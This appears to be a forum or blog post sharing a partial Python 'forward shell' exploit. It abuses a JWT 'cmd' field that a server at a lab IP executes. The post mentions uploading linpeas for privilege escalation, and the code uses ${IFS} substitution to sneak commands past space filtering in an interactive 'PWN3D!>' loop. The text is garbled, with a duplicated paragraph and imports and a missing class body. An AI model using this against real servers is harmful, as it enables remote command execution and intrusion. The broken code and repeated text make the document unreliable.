The JWT Forward Shell is for places where we could not get a connection back and there is an cmd paramater in the JWT which is getting executed by the server.
I Got The upload function to work but for big files i'm not sure if it will throw a 431 header too big error Cus i got that before a made this script Trying to upload linpeas through the rce in the jwt token But i was able to Upload smaller files tho Still Working on the privexec On NIX02 Tho Anyway Heres The Final Result
!/usr/bin/env python3
import base64
import random
import requests
import threading
import time
from colorama import *
import jwt
I Got The upload function to work but for big files i'm not sure if it will throw a 431 header too big error Cus i got that before a made this script Trying to upload linpeas through the rce in the jwt token But i was able to Upload smaller files tho Still Working on the privexec On NIX02 Tho Anyway Heres The Final Result
!/usr/bin/env python3
import base64 import random import requests import threading import time from colorama import * import jwt
Global Variables Like Url's And proxies
global url global proxies url = 'http://172.16.1.22:3000/' proxies = {"http": "http://127.0.0.1:8080"}
class exploit(object):
term = Fore.LIGHTGREEN_EX + "PWN3D!> " S = exploit() while True: stdin = input(term) cmd = stdin.replace(' ', "${IFS}") if stdin == "help": S.help() elif stdin == "sysinfo": sinfo = 'uname -a' filter_sinfo = sinfo.replace(' ', '${IFS}') S.request(filter_sinfo, timeout=20)